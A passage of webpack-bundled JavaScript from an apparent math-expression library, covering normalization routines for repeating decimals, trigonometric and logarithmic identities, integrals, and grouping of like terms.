node.args[0]);\n }\n break;\n }\n return node;\n },\n exponential: function (node) {\n if (node.args.length === 2 &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR &&\n node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR &&\n node.args[1].args[0].indexOf(\"'\") === 0) {\n // Merge primes.\n node = variableNode(node.args[0].args[0] + node.args[1].args[0]);\n } else {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeLiteral(options, n));\n });\n node = newNode(node.op, args);\n }\n return node;\n },\n variable: function(node) {\n return node;\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeLiteral(options, n));\n });\n node = newNode(node.op, args);\n return node;\n },\n equals: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeLiteral(options, n));\n });\n if (option(options, \"ignoreOrder\") &&\n (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GT ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GE ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NGTR)) {\n // Swap adjacent elements and reverse the operator.\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(args.length === 2, \"2000: Comparisons have only two operands.\");\n var t = args[0];\n args[0] = args[1];\n args[1] = t;\n node.op = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GT ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LT : node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GE ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LE : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NLESS;\n node = newNode(node.op, args);\n } else {\n node = newNode(node.op, args);\n }\n return node;\n }\n });\n normalizeLiteralLevel--;\n node.normalizeLiteralNid = ast.intern(node);\n return node;\n }\n\n function normalizeExpanded(root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n if (root.normalizeExpandedNid === nid) {\n return root;\n }\n var node = visit(options, root, {\n name: \"normalizeExpanded\",\n numeric: function (node) {\n return node;\n },\n additive: function (node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeExpanded(n));\n });\n node = newNode(node.op, args);\n return groupLikes(node);\n },\n multiplicative: function (node) {\n var equivLiteralDivAndFrac = false;\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeExpanded(n));\n });\n node = newNode(node.op, args);\n return flattenNestedNodes(groupLikes(node));\n },\n unary: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeExpanded(n));\n });\n node = newNode(node.op, args);\n return node;\n },\n exponential: function (node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeExpanded(n));\n });\n node = newNode(node.op, args);\n return node;\n },\n variable: function(node) {\n return node;\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeExpanded(n));\n });\n node = newNode(node.op, args);\n return node;\n },\n equals: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeExpanded(n));\n });\n node = newNode(node.op, args);\n return node;\n }\n });\n // If the node has changed, normalizeExpanded again\n while (nid !== ast.intern(node)) {\n nid = ast.intern(node);\n node = normalizeExpanded(node);\n }\n node.normalizeExpandedNid = nid;\n return node;\n }\n\n function isRepeating(node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && isAdditive(node), \"2000: Internal error.\");\n return node.isRepeating;\n }\n\n function findRepeatingPattern(s, p, x) {\n if (!p) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])((typeof s === \"string\") && s.length > 0, \"2000: Internal error.\");\n p = s.charAt(0);\n s = s.substring(1);\n x = \"\";\n }\n if (s.length === 0) {\n return p;\n }\n if (s.indexOf(p) === 0) {\n // p is a prefix of s, so continue checking\n x += p;\n s = s.substring(p.length);\n return findRepeatingPattern(s, p, x);\n } else {\n // p is not a prefix of s, so extend p by skipped digits\n p += x + s.charAt(0);\n x = \"\";\n s = s.substring(1);\n return findRepeatingPattern(s, p, x);\n }\n }\n\n function repeatingDecimalToFraction(options, node) {\n // (add (decimalPart) (overline (repeatingPart)))\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(isRepeating(node), \"2000: Internal error.\");\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD && node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM, \"2000: Internal error.\");\n var decimalPart = node.args[0].args[0];\n var repeatingPart = node.args[1].args[0];\n var decimalPos = decimalPart.indexOf(\".\");\n var leadingZeros = node.args[1].hasLeadingZero || 0;\n repeatingPart = findRepeatingPattern(repeatingPart);\n var decimalPlaces = decimalPart.length - decimalPos - 1; // Don't count '.'.\n var repeatingPlaces = repeatingPart.length + leadingZeros;\n // 0.\\overline{3} --> 3/9\n // 0.\\overline{12} --> 12/99 --> 4/33\n // 0.0\\overline{6} --> 1/15\n // 0.\\overline{06} --> 2/33\n var numer = numberNode(options, repeatingPart);\n var denom = addNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [numberNode(options, \"10\"), numberNode(options, repeatingPlaces)]),\n nodeMinusOne\n ]);\n var scaleNode = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [numberNode(options, \"10\"), negate(numberNode(options, decimalPlaces))]);\n node = multiplyNode([scaleNode, fractionNode(numer, denom)]);\n node = addNode([numberNode(options, decimalPart), node]);\n return node;\n }\n\n function isLessThan(n1, n2) {\n if (n1 && n1.op !== undefined) {\n n1 = mathValue(options, n1, true);\n }\n if (n2 && n2.op !== undefined) {\n n2 = mathValue(options, n2, true);\n }\n if (n1 === null || !(n1 instanceof decimal_js__WEBPACK_IMPORTED_MODULE_4__[\"Decimal\"]) ||\n n2 === null || !(n1 instanceof decimal_js__WEBPACK_IMPORTED_MODULE_4__[\"Decimal\"])) {\n return false;\n }\n return n1.comparedTo(n2) < 0;\n }\n\n function isPos(bd) {\n return bd.comparedTo(bigZero) > 0;\n }\n function pow(b, e) {\n var val;\n if (isNaN(b) || isNaN(e) || b === null || e === null) {\n return null;\n }\n var bmv = toDecimal(b);\n var emv = toDecimal(e);\n if (bmv && emv) {\n val = bmv.pow(emv);\n } else {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"Should not get here\");\n val = toDecimal(Math.pow(toNumber(b), toNumber(e)));\n }\n return val;\n }\n function divide(n, d) {\n if (n === null || d === null) {\n return null;\n }\n if (!(n instanceof decimal_js__WEBPACK_IMPORTED_MODULE_4__[\"Decimal\"])) {\n n = toDecimal(n);\n }\n if (!(d instanceof decimal_js__WEBPACK_IMPORTED_MODULE_4__[\"Decimal\"])) {\n d = toDecimal(d);\n }\n if (isZero(d)) {\n return null;\n }\n return n.dividedBy(d);\n }\n\n function sqrt(n) {\n if (n instanceof decimal_js__WEBPACK_IMPORTED_MODULE_4__[\"Decimal\"]) { // Assume d is too.\n if (n === null) {\n return null;\n }\n n = toNumber(n);\n }\n if (isNaN(n)) {\n return null;\n }\n return toDecimal(Math.sqrt(n)).toDecimalPlaces(option(options, \"decimalPlaces\"), decimal_js__WEBPACK_IMPORTED_MODULE_4__[\"Decimal\"].ROUND_HALF_UP);\n }\n\n function trig(n, op) {\n if (n === null) {\n return null;\n } else if (n instanceof decimal_js__WEBPACK_IMPORTED_MODULE_4__[\"Decimal\"]) { // Assume d is too.\n n = toNumber(n);\n } else {\n if (isNaN(n)) {\n return null;\n }\n }\n var f;\n switch (op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN:\n f = Math.sin;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS:\n f = Math.cos;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN:\n f = Math.tan;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSIN:\n f = Math.asin;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOS:\n f = Math.acos;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTAN:\n f = Math.atan;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH:\n f = Math.sinh;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH:\n f = Math.cosh;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TANH:\n f = Math.tanh;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSINH:\n f = Math.asinh;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOSH:\n f = Math.acosh;\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTANH:\n f = Math.atanh;\n break;\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"2000: Internal error.\");\n break;\n }\n return toDecimal(f(n));\n }\n\n function normalizeLogIdent(base, expo) {\n var args = [];\n var node;\n if (isMultiplicative(expo)) {\n // If log and multiplicative, then add log of each term.\n var aa = [];\n expo.args.forEach(function (e) {\n if (e.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n aa.push(multiplyNode([\n e.args[1],\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [base, e.args[0]])\n ]));\n } else {\n aa.push(newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [base, e]));\n }\n });\n args.push(addNode(aa));\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, args);\n } else if (expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n // log x^y -> y log x\n args.push(multiplyNode([\n expo.args[1],\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [base, expo.args[0]])\n ]));\n // x^2, x^y\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(args.length > 0, \"2000: Internal error\");\n if (args.length > 1) {\n node = multiplyNode(args);\n } else if (args.length === 1) {\n node = args[0];\n }\n } else {\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [base, expo]);\n }\n return node;\n }\n function normalizeTrigIdent(node) {\n var op = node.op;\n var args = node.args;\n var neg = sign(args[0]) < 0;\n var tt = terms(args[0]);\n var mv = bigZero;\n var cp = [], vp = [];\n tt.forEach(function (t, i) {\n if (variablePart(t) === null) {\n mv = mv.plus(mathValue(options, t, true, true)); // normalizeUnits=true\n cp.push(t);\n } else {\n vp.push(t);\n }\n });\n // mv is the math value of the angle in radians.\n // cp is the array of constant terms.\n // vp is the array of variable terms.\n // pi/2, pi, 3pi.\n var cycles = Math.floor(toNumber(mv) / (2 * Math.PI));\n // shift is the angle minus the number of cycles times 2pi.\n // phase is shift modulo PI. Many identities depend on the phase.\n var shiftNode;\n if (cycles) {\n shiftNode = addNode(cp.concat(\n negate(multiplyNode([numberNode(options, cycles), nodeTwo, nodePI]))\n ));\n } else {\n shiftNode = addNode(cp);\n }\n var phase = toNumber(mv) % (2 * Math.PI) / Math.PI;\n var node;\n var arg;\n if (vp.length > 0) {\n if (phase) {\n arg = addNode(vp.concat(shiftNode));\n } else {\n arg = addNode(vp);\n }\n } else {\n // Make sure there is something in the vp array.\n vp.push(nodeZero);\n arg = args[0];\n }\n switch (op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN:\n if (neg) {\n // Normalize negative arg.\n arg = negate(arg);\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg]);\n node = neg ? negate(node) : node;\n } else {\n // Phase shift identities.\n switch(phase) {\n case 1:\n case -1:\n arg = addNode(vp);\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg]);\n node = negate(node);\n break;\n case 1/2:\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [addNode(vp)]);\n break;\n case -1/2:\n node = negate(unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [addNode(vp)]));\n break;\n case 0:\n if (vp.length === 1) {\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg]);\n } else {\n var arg1 = vp[0];\n var arg2 = addNode(vp.slice(1).concat(cp));\n node = addNode([\n multiplyNode([\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg1]),\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [arg2]),\n ]),\n multiplyNode([\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [arg1]),\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg2]),\n ])\n ]);\n }\n break;\n default:\n if (!isZero(vp[0])) {\n // sin(x) => cos(pi/2-x)\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [\n addNode([\n fractionNode(nodePI, nodeTwo),\n negate(addNode(args)),\n ])\n ]);\n } else {\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, args);\n }\n break;\n }\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS:\n if (neg) {\n // Normalize negative arg.\n arg = negate(arg);\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [arg]);\n } else {\n switch(phase) {\n case 1:\n case -1:\n arg = addNode(vp);\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [arg]);\n node = negate(node);\n break;\n case 1/2:\n arg = addNode(vp);\n node = negate(unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg]));\n break;\n case -1/2:\n arg = addNode(vp);\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg]);\n break;\n case 0:\n if (vp.length === 1) {\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [arg]);\n } else {\n var arg1 = vp[0];\n var arg2 = addNode(vp.slice(1).concat(cp));\n node = addNode([\n multiplyNode([\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [arg1]),\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, [arg2]),\n ]),\n negate(multiplyNode([\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg1]),\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN, [arg2]),\n ]))\n ]);\n }\n break;\n default:\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS, args);\n break;\n }\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH:\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSINH:\n var arg = args[0];\n var doNegate;\n if (isNeg(options, arg)) {\n arg = negate(arg);\n doNegate = true;\n }\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [\n nodeE,\n addNode([\n arg,\n sqrtNode(addNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [arg, nodeTwo]),\n nodeOne\n ]))\n ])\n ]);\n if (doNegate) {\n node = negate(node);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOSH:\n var arg = args[0];\n var doNegate;\n if (isNeg(options, arg)) {\n arg = negate(arg);\n }\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [\n nodeE,\n addNode([\n arg,\n sqrtNode(addNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [arg, nodeTwo]),\n nodeMinusOne\n ]))\n ])\n ]);\n break;\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"2000: Internal error.\");\n break;\n }\n return node;\n }\n\n function normalizeAbs(node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS, \"2000: Internal error\");\n switch (node.args[0].op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD:\n if (node.args[0].args.every(function (n) {\n return !isNeg(options, n);\n })) {\n // Every term is positive so we can rewrite as abs terms.\n var args = [];\n node.args[0].args.forEach(function (n) {\n args.push(unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS, [n]));\n });\n node = addNode(args);\n }\n break;\n }\n return node;\n }\n\n function integralNode(start, stop, expr) {\n if (start) {\n return newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTEGRAL, [start, stop, expr]);\n } else {\n return newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTEGRAL, [expr]);\n }\n }\n function normalizeIntegralAddition(node) {\n var terms = {};\n var args = [];\n node.args.forEach(function (n) {\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTEGRAL && n.args.length === 3) {\n var nid = ast.intern(n.args[2]);\n if (!terms[nid]) {\n terms[nid] = [];\n }\n terms[nid].push(n);\n } else {\n // Not a candidate for folding, so just keep it as is.\n args.push(n);\n }\n });\n var kk = Object.keys(terms);\n kk.forEach(function (k) {\n // \\int_a^b e + \\int_b^c e\n var tt = terms[k];\n var expr = tt[0].args[2];\n var starts = [], stops = [];\n tt.forEach(function (t) {\n var start = t.args[0];\n var stop = t.args[1];\n starts.push(ast.intern(start));\n stops.push(ast.intern(stop));\n });\n starts.forEach(function (start, stopIndex) {\n var startIndex = stops.indexOf(start);\n if (startIndex >= 0) {\n // We have a start and stop that align, so fold them. The new start\n // is the start at the index of the matched stop.\n args.push(integralNode(ast.node(starts[startIndex]), ast.node(stops[stopIndex]), expr));\n delete starts[startIndex];\n delete stops[startIndex];\n delete starts[stopIndex];\n delete stops[stopIndex];\n }\n });\n starts.forEach(function (start, i) {\n // Now add unfolded definite integral terms.\n var stop = stops[i];\n args.push(integralNode(ast.node(start), ast.node(stop), expr));\n });\n });\n return binaryNode(node.op, args);\n }\n function normalizeIntegral(node) {\n var start, stop, expr;\n if (node.args.length === 3) {\n start = node.args[0];\n stop = node.args[1];\n expr = node.args[2];\n } else {\n expr = node.args[0];\n }\n var cp, vp;\n if (start && ast.intern(start) === ast.intern(stop)) {\n node = nodeZero;\n } else if (isAdditive(expr)) {\n var args = [];\n expr.args.forEach(function (e) {\n args.push(integralNode(start, stop, e));\n });\n node = binaryNode(expr.op, args);\n } else if ((cp = constantPart(expr))) {\n vp = variablePart(expr);\n if (vp) {\n if (start && isNeg(options, cp)) {\n // If definite integral with negative constant, swap limits.\n cp = negate(cp);\n var t = start;\n start = stop;\n stop = t;\n }\n if (isOne(cp)) {\n node = integralNode(start, stop, vp);\n } else {\n node = multiplyNode([cp, integralNode(start, stop, vp)]);\n }\n } else if (start) {\n // \\int_a^b 5dx => 5(b-a)\n node = multiplyNode([cp, addNode([stop, negate(start)])]);\n }\n }\n return node;\n }\n\n function flattenNestedNodes(node, doSimplify) {\n var args = [];\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR) {\n return node;\n }\n node.args.forEach(function (n) {\n if (doSimplify) {\n n = simplify(options, n);\n }\n // Normalize to get the correct shape node.\n n = normalize(options, n);\n if (n.op === node.op) {\n args = args.concat(n.args);\n } else {\n args.push(n);\n }\n });\n var isMixedNumber = node.isMixedNumber;\n node = binaryNode(node.op, args);\n node.isMixedNumber = isMixedNumber;\n return node;\n }\n\n // Map like factors to the same key.\n function factorGroupingKey(root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"factorGroupingKey\",\n exponential: function (node) {\n return factorGroupingKey(node.args[1]) + _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW + factorGroupingKey(node.args[0]);\n },\n multiplicative: function (node) {\n var key = \"\";\n key += variables(node).join(\"\");\n if (!key) {\n key = factorGroupingKey(node.args[0]);\n }\n return key;\n },\n additive: function (node) {\n var key = \"\";\n node.args.forEach(function (n) {\n key += \"+\" + factorGroupingKey(n);\n });\n return key;\n },\n unary: function(node) {\n return factorGroupingKey(node.args[0]);\n },\n numeric: function(node) {\n return _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM;\n },\n variable: function(node) {\n return node.args[0];\n },\n comma: function(node) {\n return _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA;\n },\n equals: function(node) {\n return _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EQL;\n }\n });\n }\n\n // Group like factors and terms into nodes that will simplify nicely.\n // We don't use the visitor mechanism because this is not recursive.\n var groupedNodes = [];\n function groupLikes(node) {\n var hash = {};\n var vp, keyid;\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL && node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD) {\n // We only care about factors and terms.\n return node;\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length > 1, \"2000: Internal error.\");\n var nid = ast.intern(node);\n var cachedNode;\n if ((cachedNode = groupedNodes[nid]) !== undefined) {\n return cachedNode;\n }\n var rootNid = nid;\n node = flattenNestedNodes(node);\n node.args.forEach(function (n, i) {\n var key;\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // If factors, then likes have same variables.\n key = factorGroupingKey(n);\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD) {\n // If terms, likes have the same variable parts.\n key = variablePart(n);\n }\n if (!key) {\n var mv;\n // No variable key, so get a constant based key\n if ((mv = mathValue(options, n, true)) !== null) {\n // Group nodes that have computable math values.\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n mv = abs(mathValue(options, n.args[0], true));\n if (mv !== null) {\n key = \"number\";\n } else {\n key = \"none\";\n }\n } else {\n mv = abs(mv);\n if (mv !== null) {\n key = \"number\";\n } else {\n key = \"none\";\n }\n }\n } else {\n key = n;\n }\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(key, \"2000: Internal error.\");\n if (typeof key === \"string\") {\n key = variableNode(key);\n }\n keyid = ast.intern(key);\n var list = hash[keyid] ? hash[keyid] : (hash[keyid] = []);\n list.push(n);\n });\n var args = [];\n var numberArgs = [];\n var isMixedNumber = node.isMixedNumber;\n Object.keys(hash).forEach(function (k) {\n // Group elements that hashed together. Keep a set of singleton numbers\n // to group together later.\n var exprs = hash[k];\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(exprs, \"2000: Internal error.\");\n var cp = [];\n var vp = [];\n // Separate the constant part from the variable part.\n exprs.forEach(function (n) {\n var c = constantPart(n);\n if (c) {\n cp.push(c);\n }\n });\n exprs.forEach(function (n) {\n var c = variablePart(n);\n if (c) {\n vp.push(c);\n }\n });\n if (cp.indexOf(null) >= 0) {\n // We've got some strange equation, so just return it as is.\n return node;\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD) {\n var nd;\n if (cp.length > 0) {\n // Combine all the constants.\n nd = binaryNode(node.op, cp);\n nd.isMixedNumber = node.isMixedNumber;\n var mv = mathValue(options, nd);\n var tempArgs = [];\n if (mv !== null) {\n nd = numberNode(options, mv);\n } else {\n nd = simplify(options, nd, {dontGroup: true});\n }\n } else {\n nd = nodeOne;\n }\n if (vp.length > 0) {\n var v = vp[0]; // Each element is the same.\n if (isZero(nd)) {\n args.push(nodeZero);\n } else if (isOne(nd)) {\n args.push(v);\n } else {\n args.push(simplify(options, multiplyNode([nd, v], true), {dontGroup: true}));\n }\n } else if (nd) {\n if (nd.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM) {\n // At this point any node that has a math value will be a number node.\n numberArgs.push(nd);\n } else {\n args.push(nd);\n }\n }\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n var nd;\n if (cp.length > 0) {\n // Combine all the constants.\n nd = binaryNode(node.op, cp);\n var mv = mathValue(options, nd);\n var tempArgs = [];\n if (mv !== null) {\n if (isOne(mv)) {\n } else {\n numberArgs.push(numberNode(options, mv.toString()));\n }\n nd = null; // Factor out coefficient\n } else {\n nd = simplify(options, nd, {dontGroup: true});\n }\n } else {\n nd = null;\n }\n if (vp.length > 0) {\n if (nd === null || isOne(nd)) {\n args.push(simplify(options, multiplyNode(vp), {dontGroup: true}));\n } else if (isZero(nd)) {\n args.push(nodeZero);\n } else {\n args.push(simplify(options, multiplyNode([nd].concat(vp)), {dontGroup: true}));\n }\n } else if (nd) {\n if (mathValue(options, nd, true)) {\n numberArgs.push(nd);\n } else {\n args.push(nd);\n }\n }\n args = sortFactors(args);\n } else {\n args.push(binaryNode(node.op, exprs));\n }\n });\n if (numberArgs.length > 0) {\n var nd = binaryNode(node.op, numberArgs);\n var mv = mathValue(options, nd);\n if (mv === null) {\n args.push(nd);\n } else {\n args.push(numberNode(options, mv));\n }\n }\n if (args.length === 0) {\n node = nodeOne;\n } else if (args.length === 1) {\n node = args[0];\n } else {\n node = binaryNode(node.op, args);\n }\n node = sort(node);\n groupedNodes[rootNid] = node;\n node.isMixedNumber = isMixedNumber;\n return node;\n }\n\n // Special case. Check for like factors to avoid isExpanded|Factorised \"x*x\"\n // to evaluate to true.\n function hasLikeFactors(node) {\n if (!isMultiplicative(node)) {\n return false;\n }\n var hash = {};\n var vp, vpnid, list;\n var result = node.args.some(function (n) {\n // Return true if there is a dup.\n // (x+3)(x+3) (xy^2)\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL &&\n hasLikeFactors(n)) {\n return true;\n }\n vpnid =\n isMinusOne(n) && ast.intern(n) || // -1 is special.\n n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && (mathValue(options, n, true) && \"0\" || ast.intern(n)) || // Treat numbers as likes.\n n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && (\n mathValue(options, n.args[1]) && !!variablePart(n.args[0]) && ast.intern(variablePart(n.args[0])) ||\n !!constantPart(n.args[0]) && mathValue(options, n.args[1])) ||\n !!variablePart(n) && ast.intern(variablePart(n));\n if (hash[vpnid]) {\n return true;\n }\n hash[vpnid] = true;\n return false;\n });\n return result;\n }\n\n function hasLikeFactorsOrTerms(node) {\n if (!isMultiplicative(node) &&\n !isAdditive(node) ||\n node.isRepeating ||\n node.isMixedNumber) {\n return false;\n }\n var hash = {};\n var vp, vpnid, list;\n var result = node.args.some(function (n) {\n // Return true if there is a dup.\n // (x+3)(x+3) (xy^2)\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL && isNeg(options, n)) {\n n = negate(n); // This erases synthetic -1 factor.\n }\n if ((n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD || n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) &&\n hasLikeFactorsOrTerms(n)) {\n return true;\n }\n vpnid =\n isMinusOne(n) && ast.intern(n) || // -1 is special.\n n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && mathValue(options, n, true) && \"0\" || // Treat numbers as likes.\n !!variablePart(n) && ast.intern(variablePart(n)) ||\n ast.intern(n);\n if (hash[vpnid]) {\n return true;\n }\n hash[vpnid] = true;\n return false;\n });\n return result;\n }\n\n function listNodeIDs(node) {\n var aa = [];\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA) {\n node.args.forEach(function(n) {\n aa.push(ast.intern(n));\n });\n } else {\n aa.push(ast.intern(node));\n }\n return aa;\n }\n\n function diffSets(n1, n2) {\n if (n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(n1.args.length === 2, \"2000: Internal error.\");\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(n1.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2002));\n // Swap operands to undo sorting.\n var t = n2;\n n2 = n1.args[1];\n n1 = t;\n }\n var a1 = 